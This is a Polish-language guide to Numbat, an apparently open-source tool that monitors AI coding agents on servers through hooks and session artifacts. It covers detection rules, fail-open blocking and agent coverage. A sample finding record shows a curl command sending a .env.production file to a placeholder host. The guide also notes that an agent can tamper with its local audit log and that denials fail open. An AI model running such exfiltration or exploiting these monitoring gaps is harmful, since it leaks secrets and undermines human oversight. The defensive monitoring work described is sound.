SSD Nodes Learn Hosting plans →
Przewodniki Matt ConnorAutor: Matt Connor · Zaktualizowano 2026-10-24

Numbat: jak monitorować działania agentów AI

Narzędzie Numbat od Perplexity pozwala śledzić aktywność agentów AI na serwerze. Sprawdź, jak monitorować wywołania hook i wykrywać niepożądany dostęp do kluczy SSH.

Czym jest Numbat

Numbat zapewnia wgląd w działania agenta AI na maszynie, której jesteś właścicielem. Narzędzie odczytuje wywołania zwrotne typu hook oraz pliki sesji generowane przez agentów programistycznych, normalizuje je do jednego formatu zdarzeń i porównuje z regułami, które aktywują się przy określonych zachowaniach, takich jak odczyt prywatnego klucza SSH lub przesyłanie pobieranych danych bezpośrednio do powłoki. Firma Perplexity udostępniła narzędzie jako open source na licencji Apache 2.0, a pierwsze otagowane wydanie pojawiło się 29 lipca 2026.

Wszystkie poniższe informacje pochodzą z repozytorium projektu oraz jego dokumentacji, z dnia 2 sierpnia 2026. Historia wydań, wymagania instalacyjne, schemat rekordów oraz zakres obsługiwanych agentów zostały ponownie zweryfikowane w repozytorium 12 października 2026. W miejscach, gdzie Perplexity wysuwa określone twierdzenia, niniejszy tekst wyraźnie to zaznacza. Niniejszy materiał nie jest poradnikiem instalacji, ponieważ repozytorium jest wczesnym projektem, a jego polecenia będą ulegać zmianom.

Problem: brak rejestracji działań agenta

Agent programistyczny na serwerze VPS wykonuje polecenia powłoki, odczytuje i zapisuje pliki oraz otwiera połączenia sieciowe, działając jako użytkownik, któremu nadano uprawnienia. Historia powłoki nie rejestruje tych działań, ponieważ agent nie korzysta z interaktywnego terminala. sshd rejestruje jedynie logowanie użytkownika, pomijając decyzje podjęte przez model w trakcie sesji. /var/log/auth.log pozostaje nieaktywny, dopóki nie nastąpi próba dostępu do sudo. Agent prowadzi własny zapis działań, jednak plik ten znajduje się w katalogu sesji agenta, jego format zmienia się wraz z kolejnymi releases, a sam proces agenta ma możliwość modyfikacji tego pliku.

W rezultacie, na pytanie czy agent odczytał .env.production w ubiegły wtorek, na większości serwerów nie można udzielić wiarygodnej odpowiedzi. Ta luka w monitoringu jest powodem powstania niniejszego projektu.

Co Perplexity twierdzi na temat działania Numbat

Plik README rozpoczyna się od opisu narzędzia jako „widoczność punktów końcowych w aktywności agentów AI, z lokalnym wykrywaniem, opcjonalnym blokowaniem przed wykonaniem akcji oraz rekonstrukcją śledczą”. Punkt końcowy oznacza tutaj maszynę, na której uruchomiony jest agent, a nie urządzenie sieciowe monitorujące ruch z zewnątrz. Są to odrębne możliwości o różnej wadze.

Wykrywanie odbywa się na urządzeniu. Reguły są zapisane w CEL (common expression language) i oceniane lokalnie, z obsługą wieloetapowych reguł sekwencyjnych oraz możliwością dodawania własnych reguł w formacie YAML. Żadne dane nie muszą opuszczać maszyny, aby reguła została wyzwolona.

Blokowanie jest opcjonalne i ograniczone. Działa wyłącznie poprzez synchroniczne hooki przed wykonaniem akcji, w przypadku agentów, które je udostępniają, i jest wyłączone do momentu ręcznej aktywacji.

Rekonstrukcja następuje po fakcie. numbat scan analizuje artefakty sesji, które agent już zapisał na dysku, dzięki czemu można przejrzeć aktywność sprzed instalacji narzędzia. Projekt precyzyjnie ogranicza ten zakres: „Rekonstrukcja danych w spoczynku nie jest przejmowaniem zawartości dysku lub pamięci i nie pozwala na odzyskanie aktywności, której agent nie utrwalił”.

Dane wyjściowe są w wersjonowanym formacie NDJSON (newline delimited JSON), obejmującym zdarzenia, wyniki, decyzje o wymuszeniu, wskaźniki oraz podsumowania skanowania, zgodnie ze schematem w wersji 0.2.0 dla wydania v0.1.2. Schemat uległ zmianie: 12 października 2026 r. repozytorium zawierało wersje schematu 0.2.0, 0.3.0 oraz 0.4.0, a przykłady rekordów w README wskazywały na wersję 0.4.0. Rekordy są wysyłane na stdout lub do lokalnego pliku, a opcjonalnie przez HTTP do uruchomionego kolektora. Narzędzie jest dostarczane jako pojedynczy statyczny plik binarny Go, zbudowany bez cgo, dla systemów macOS, Linux i Windows na architekturach amd64 oraz arm64. Na serwerze Linux VPS jest to zatem pojedynczy plik, który nie wymaga wcześniejszej instalacji środowiska uruchomieniowego.

Które agenty faktycznie widzi Numbat?

Macierz pokrycia w docs/agent-coverage.md stanowi wiarygodną listę i jest ona niejednolita. Projekt otwarcie o tym informuje, zamiast to ukrywać. Claude Code, Codex, Gemini CLI, Cursor oraz GitHub Copilot CLI obsługują zarówno skanowanie artefaktów, jak i przechwytywanie na żywo za pomocą hooka typu pre-action. OpenClaw otrzymuje natywną wtyczkę od wersji 2026.7.1. Długa lista wpisów jest oznaczona jako odroczona, co oznacza, że istnieje ścieżka dla hooka na żywo, ale brak parsera artefaktów. Często wynika to z faktu, że dany agent przechowuje historię w SQLite z dziennikiem write-ahead log, którego odczyt podczas pracy agenta nie jest bezpieczny. Cline CLI znajduje się w tej grupie: jego hooki na żywo działają, ale sesje SQLite nie są parsowane. OpenCode to przypadek mieszany. Macierz w wersji v0.1.2 parsuje wcześniejsze magazyny JSON i odracza jedynie bieżącą bazę danych opencode.db; nie wymienia ona żadnego wymuszania typu pre-action dla OpenCode, a macierz w gałęzi main nadal zawierała taki zapis w dniu 12 października 2026.

Przed zaplanowaniem jakichkolwiek działań z użyciem tego narzędzia należy sprawdzić wiersz dotyczący używanego agenta, ponieważ termin "obsługiwany" oznacza co innego w niemal każdym przypadku.

Jak wygląda wykrycie

Reguły posiadają identyfikatory określające ich przeznaczenie. secrets.read_private_key obejmuje klucz SSH, poświadczenia AWS, konfigurację kube lub dane logowania do rejestru pakietów. exec.download_pipe_shell aktywuje się, gdy dane wyjściowe curl lub wget są przesyłane potokiem do interpretera. privilege.elevated_shell wykrywa żądanie interaktywnej powłoki root za pośrednictwem sudo, doas, su lub pkexec. impact.cryptomining_launch dopasowuje znane pliki binarne koparek kryptowalut oraz nazwy obrazów.

Reguły sekwencyjne łączą zdarzenia w ramach jednej sesji. chain.secret_read_then_egress wymaga odczytu pliku z sekretem, po którym następuje polecenie przesyłające dane na zewnątrz. Plik README publikuje poniższe ustalenia z kontrolowanego odtworzenia dwóch wywołań zwrotnych pre-action narzędzia Claude Code, a nie z rzeczywistego incydentu. Zostały one tutaj ograniczone do istotnych pól:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Zwróć uwagę na "confidence": "medium" znajdujące się wewnątrz rekordu oraz na to, co projekt mówi o całej klasie danych wyjściowych: „Wyniki są dopasowaniami reguł, a nie dowodem naruszenia bezpieczeństwa”. Skrypt wdrożeniowy, który odczytuje klucz, a następnie przesyła artefakt kompilacji, dopasuje się do tej samej reguły sekwencyjnej. Dopasowanie jest poprawne, a alarm jest błędny, co stanowi normalny stan każdego narzędzia detekcyjnego, z którego kiedykolwiek korzystałeś.

Blokowanie jest domyślnie wyłączone i działa w trybie fail-open

Każda reguła dostarczana z Numbat służy wyłącznie do monitorowania. Zmiana reguły na blokującą wymaga celowego działania: należy skopiować pełny plik YAML reguły do własnego katalogu, zachować ten sam id, dodać enforce: true, zwiększyć wersję, a następnie zweryfikować i zainstalować taką politykę.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Teraz kwestia zaufania do tego mechanizmu. Odpowiedź deny z Numbat jest przekazywana do agenta, a to agent faktycznie odmawia wykonania wywołania narzędzia. Przewodnik po egzekwowaniu zasad jasno określa, co dzieje się w przypadku problemów z samym Numbat: „Nieprawidłowe ładunki, błędy ewaluacji, paniki oraz błędy wyjściowe powodują pominięcie odpowiedzi deny z Numbat”. Dane wejściowe haka są ograniczone do 4 MiB, a dane przekraczające ten limit są traktowane w ten sam sposób.

Przewodnik równie jasno określa ograniczenia odpowiedzi deny, która dotrze do celu: „Tryb fail-open oznacza, że Numbat wstrzymuje odpowiedź deny. Nie gwarantuje to wykonania narzędzia: host może nadal monitować, odmówić, przekroczyć limit czasu lub zastosować inny hak bądź politykę”.

Egzekwowanie zasad pełni tutaj rolę zabezpieczenia, a nie sztywnej granicy. Jeśli proces ulegnie awarii, działanie nie zostanie zablokowane przez Numbat, ponieważ monitor, który zawiesza agenta przy każdym błędzie, zostałby odinstalowany w ciągu tygodnia. Jest to rozsądny kompromis. Należy jedynie pamiętać, aby nie budować modelu bezpieczeństwa zakładającego, że odpowiedź deny zawsze dotrze do celu.

Miejsce Numbat w istniejącej infrastrukturze

Numbat działa na punkcie końcowym, wewnątrz drzewa procesów agenta, i domyślnie zapisuje dane do ~/.numbat/records.ndjson. Agent uruchomiony na koncie użytkownika może odczytać ten plik. Może go również edytować. Wartość ścieżki audytu jest dokładnie taka sama, jak izolacja, którą jest otoczona. Oznacza to, że wszystkie dotychczasowe mechanizmy kontroli powinny znajdować się przed tym rozwiązaniem, a nie za nim.

Udostępnienie agentowi programistycznemu tymczasowej maszyny wirtualnej ogranicza zasięg niepożądanego działania. Użytkownik z minimalnymi uprawnieniami na VPS uniemożliwia agentowi dostęp do plików, do których nie powinien mieć wglądu. Utrzymywanie poświadczeń poza kontekstem agenta sprawia, że dopasowanie secrets.read_private_key występuje na tyle rzadko, iż warto je przeanalizować w momencie wystąpienia. Z kolei piaskownica skonfigurowana dla Claude Code na VPS pozostaje głównym mechanizmem izolacji. Izolacja ogranicza zasięg potencjalnie szkodliwego działania, podczas gdy dokumentowanie struktury kodu zmniejsza częstotliwość sytuacji, w których agent podejmuje działania na tyle nieoczekiwane, że wymagają one sprawdzenia logów.

Numbat dodaje warstwę rejestracji zdarzeń, dlatego należy przesyłać logi w miejsce, do którego agent nie ma dostępu. Służą do tego numbat ship oraz punkt końcowy HTTP. Kopia strumienia danych na drugim serwerze stanowi różnicę między plikiem dziennika a dowodem. Model zdarzeń obsługuje również pola MCP (model context protocol), dzięki czemu wywołania narzędzi przechodzące przez serwer MCP hostowany na VPS trafiają do tego samego strumienia co lokalne polecenia powłoki. Jest to istotne, ponieważ ta ścieżka jest niewidoczna dla narzędzi monitorujących wyłącznie bash. Ten sam martwy punkt dotyczy instancji SearXNG skonfigurowanej jako backend wyszukiwania agenta, gdzie ryzyko pojawia się w postaci niezaufanego tekstu ze stron internetowych trafiającego do kontekstu modelu, a nie jako polecenie, które można dopasować do reguł.

Najpierw wypróbuj tryb tylko do odczytu

Zainstaluj przypiętą wersję. Poniższe polecenie przypina wersję v0.1.2, której plik README wymaga Go 1.26.5 lub nowszego. Plik README w gałęzi main wymagał Go 1.26.6 lub nowszego w dniu 12 października 2026 r. – zmiana ta pojawiła się wraz z wersją v0.2.0, więc użyj 1.26.6, jeśli przypinasz nowszy tag. Strona releases zawiera gotowe pliki binarne z sumami kontrolnymi SHA-256, jeśli wolisz nie budować oprogramowania ze źródeł.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents wykrywa agentów zainstalowanych w systemie. numbat scan analizuje artefakty sesji znajdujące się już na dysku i wypisuje rekordy. Plik README stwierdza, że te polecenia „nie instalują hooków ani nie zmieniają konfiguracji agenta” oraz że numbat „nigdy nie wykonuje agentów ani poleceń znalezionych w artefaktach i wysyła żądania wychodzące tylko do skonfigurowanych sinków HTTP”. Skanowanie odbywa się w trybie tylko do odczytu z maskowaniem danych poufnych, a standardowe wyjście rekordów nigdy nie zawiera pełnego surowego zapisu.

Przechwytywanie na żywo to kolejny krok, który zmienia konfigurację agenta:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all zapisuje zdarzenia, wyniki, wskaźniki oraz stosowne decyzje wymuszania do ~/.numbat/records.ndjson. Dwa ostrzeżenia pochodzą bezpośrednio od twórców projektu. Hooki mogą wymagać zaufania wewnątrz agenta, zanim w ogóle zostaną uruchomione, a to zaufanie musi zostać ponownie zweryfikowane po zmianie flag, takich jak --enforce. Ponadto hook status „weryfikuje konfigurację, a nie wykonanie czy dostarczenie”, więc poprawny status w linii poleceń nie jest dowodem na to, że rekordy docierają do miejsca przeznaczenia.

Dlaczego tak nowe repozytorium nie jest zależnością

Według stanu na 12 października 2026 r. publiczne wydania to v0.1.1 z 29 lipca 2026 r., v0.1.2 z 1 sierpnia 2026 r. oraz v0.2.0 z 17 sierpnia 2026 r., które na stronie wydań oznaczone jest jako najnowsze. W momencie pisania tego tekstu, 2 sierpnia 2026 r., repozytorium miało 597 gwiazdek. Tak szybki wzrost liczby odzwierciedla grupę odbiorców Perplexity, a nie jakość kodu. Gwiazdka oznacza jedynie, że ktoś zapisał stronę, aby sprawdzić ją później.

Numer wersji uczciwie określa etap rozwoju projektu. Informacje o wydaniu v0.1.2 dotyczą głównie poprawek w maskowaniu danych uwierzytelniających, a także normalizacji pakietów i telemetrii. Informacje o v0.2.0 dodają ograniczone przechwytywanie treści wiadomości, wymuszanie odczytu plików przez Cursor za pomocą hooka beforeReadFile oraz kolejne poprawki maskowania. Błędy w maskowaniu są typowymi usterkami na wczesnym etapie rozwoju narzędzia, którego zadaniem jest bezpieczne odczytywanie transkrypcji z innych programów. Będzie ich więcej, ponieważ dane wejściowe pochodzą od kilkunastu agentów, z których każdy zmienia swój format w innym terminie.

Z powyższego wynikają dwie praktyczne zasady. W projektach, które utrzymujesz, zawsze przypinaj tag, nigdy @latest. Traktuj to narzędzie jako instrument poddawany ocenie, a nie jako element infrastruktury, od którego zależy działanie systemu, przynajmniej do czasu, aż schemat zapisu przestanie się zmieniać. Na razie tak nie jest: w ciągu około dziesięciu tygodni wersja schematu wzrosła z 0.2.0 w v0.1.2 do 0.4.0 w pliku README w gałęzi main.

FAQ

Czy Numbat blokuje niebezpieczne polecenia agentów AI?

Tylko jeśli użytkownik wyrazi na to zgodę i tylko w ramach najlepszych starań. Każda reguła, którą dostarcza Numbat, działa wyłącznie w trybie monitorowania. Aby włączyć blokowanie, należy skopiować plik YAML reguły do własnego katalogu, zachować jej id, dodać enforce: true, zwiększyć wersję i zainstalować hook za pomocą --enforce. Nawet wtedy odmowa jest jedynie odpowiedzią przekazaną do agenta, a to agent decyduje o odrzuceniu wywołania. Dokumentacja projektu wskazuje na zachowanie typu fail-open: błędnie sformatowane ładunki, błędy ewaluacji, paniki oraz awarie wyjścia powodują pominięcie blokady. Należy traktować to narzędzie jako zabezpieczenie pomocnicze, a nie jako jedyną barierę ochronną.

Jakie agenty AI wspiera Numbat?

Zakres wsparcia różni się w zależności od agenta i jest wyszczególniony w docs/agent-coverage.md w repozytorium. Claude Code, Codex, Gemini CLI, Cursor oraz GitHub Copilot CLI posiadały zarówno skanowanie artefaktów, jak i przechwytywanie na żywo w dniu 2 sierpnia 2026, a OpenClaw posiada natywną wtyczkę od wersji 2026.7.1. Wiele innych agentów jest wymienionych wraz ze ścieżką hooka, ale bez parsera artefaktów; wynika to zazwyczaj z faktu, że ich historia sesji znajduje się w bazie danych SQLite, której odczyt podczas pracy agenta nie jest bezpieczny. Należy sprawdzić wiersz dotyczący konkretnego agenta, ponieważ słowo "wspierany" odnosi się tam do kilku różnych poziomów zaawansowania.

Czy agent może manipulować zapisami Numbat?

Tak, jeśli działa na tym samym koncie użytkownika. Zapisy domyślnie trafiają do ~/.numbat/records.ndjson na tej samej maszynie co agent, więc każdy proces z uprawnieniami do zapisu w tej ścieżce może je zmienić lub usunąć. Należy przesyłać strumień danych do kolektora, do którego agent nie ma dostępu, za pomocą numbat ship lub punktu końcowego HTTP, a lokalny plik traktować jedynie jako kopię pomocniczą. Z tego powodu narzędzie to uzupełnia izolację, zamiast ją zastępować. Agent ograniczony do tymczasowej maszyny wirtualnej działającej na koncie o minimalnych uprawnieniach ma znacznie mniejszy wpływ na własny ślad audytowy.

Czy Numbat jest gotowy na serwer produkcyjny?

Nie jako mechanizm kontrolny, od którego zależy bezpieczeństwo. Pierwsze publiczne wydanie to v0.1.1 z 29 lipca 2026, v0.1.2 pojawiło się 1 sierpnia 2026, a v0.2.0 17 sierpnia 2026. Do 12 października 2026 schemat zapisu w README osiągnął wersję 0.4.0, co oznacza, że zarówno flagi, jak i schemat rekordów wciąż ulegają zmianom. Uruchomienie numbat agents oraz numbat scan na serwerze jest bezpieczne, działa w trybie tylko do odczytu i pozwala sprawdzić, jakie dane agenty pozostawiły na dysku. Instalacja hooków wymuszających na ważnym serwerze to inna decyzja, która wymaga przypięcia konkretnej wersji (tagu) oraz planu działania na wypadek nieprawidłowego zachowania hooka.

Czy ten artykuł był przydatny?